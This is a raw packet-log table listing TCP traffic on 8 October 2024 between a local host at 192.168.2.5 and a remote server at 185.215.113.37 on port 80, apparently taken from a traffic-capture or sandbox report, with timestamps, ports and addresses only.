Oct 8, 2024 03:22:19.008163929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008172035 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008186102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008196115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008205891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008213043 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.008222103 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008229017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.008236885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008244991 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.008251905 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008261919 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008268118 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.008276939 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008286953 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008292913 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.008301973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008307934 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.008315086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008325100 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008338928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008343935 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.008352041 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008361101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008371115 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.008375883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008387089 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008394957 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.008403063 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008416891 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008420944 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.008429050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008439064 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.008445024 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008464098 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.008481979 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.008941889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008953094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008963108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008972883 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008980989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.008990049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.008997917 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.009006977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.009016991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.009032965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.009063005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.084270000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084281921 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084292889 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084304094 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084315062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084343910 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.084381104 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.084412098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084423065 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084433079 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084445000 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084454060 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.084495068 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.084547043 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084557056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084567070 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084577084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084589005 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084594011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.084603071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084611893 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084625959 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.084633112 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084642887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084649086 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.084656954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084662914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.084672928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084681034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.084688902 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.084716082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.085215092 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.085254908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.085405111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.085458040 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.085551023 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.085643053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.085724115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.085735083 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.085779905 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.086199999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.086210012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.086255074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092156887 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092178106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092186928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092228889 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092261076 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092269897 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092278957 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092303038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092319965 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092386007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092402935 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092412949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092427969 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092437983 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092447996 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092458010 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092468977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092520952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092530012 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092539072 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092555046 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092561960 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092571974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092578888 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092591047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092593908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092611074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092622995 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092777967 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092787027 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092794895 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092806101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092811108 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092820883 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092824936 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092833996 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092843056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092849970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092870951 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092909098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092950106 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092957973 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.092979908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.092997074 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093147993 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093158007 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093169928 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093180895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093190908 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093199968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093204975 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093221903 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093228102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093238115 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093246937 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093250990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093260050 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093270063 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093278885 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093283892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093295097 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093303919 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093310118 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093319893 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093341112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093522072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093532085 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093545914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093554974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093559980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093570948 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093580008 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093585968 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093594074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093599081 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093607903 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093616962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093622923 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093636036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093643904 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093812943 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093822002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093831062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093838930 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093847036 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093852997 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093862057 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093869925 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093877077 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093892097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.093952894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093961954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093971014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093980074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.093992949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094021082 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094145060 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094153881 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094162941 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094172001 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094180107 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094188929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094197989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094203949 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094211102 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094219923 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094227076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094233990 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094244003 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094248056 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094255924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094261885 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094269991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094285011 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094290018 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094305992 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094326973 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094599962 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094610929 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094619989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094641924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094649076 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094656944 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094664097 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094680071 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094688892 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094693899 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094708920 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094729900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.094825983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094837904 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094847918 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094852924 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094856977 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094861984 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094866991 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.094948053 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.170624971 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.170672894 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.170677900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.170710087 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.170744896 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.170773983 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.170777082 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.170788050 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.170799017 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.170814037 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.170819044 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.170833111 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.170849085 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.170857906 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.170898914 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.170931101 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.170938015 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.170948982 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.170959949 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.170979977 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171005964 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171024084 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171034098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171044111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171066999 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171087980 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171113014 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171123028 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171132088 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171143055 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171154022 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171185970 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171271086 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171281099 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171292067 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171304941 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171310902 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171334028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171339989 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171350002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171356916 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171370029 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171387911 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171392918 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171402931 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171422005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171449900 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171462059 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171472073 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171490908 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171508074 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171516895 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171525002 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.171550989 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.171607971 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.179266930 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.179294109 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.179305077 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.179347038 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.179367065 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.179438114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.179449081 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.179460049 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.179470062 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.179481030 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.179517031 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.179563999 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.179600954 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.179934025 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.179944992 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.179954052 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.179971933 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.179977894 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.179986954 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.179992914 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.180001974 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180011034 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180016994 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.180025101 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180035114 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180042028 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.180052042 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180056095 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.180063963 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180072069 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.180079937 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180085897 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.180094004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180104017 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.180118084 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.180125952 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180138111 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180155039 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.180174112 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.180305004 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180341005 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.180507898 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180517912 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180526972 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180535078 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180543900 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.180550098 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180566072 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180572987 CEST	49704	80	192.168.2.5	185.215.113.37
Oct 8, 2024 03:22:19.180582047 CEST	80	49704	185.215.113.37	192.168.2.5
Oct 8, 2024 03:22:19.180588961 CEST	49704	80	192.168.2.5	185.215.113.37
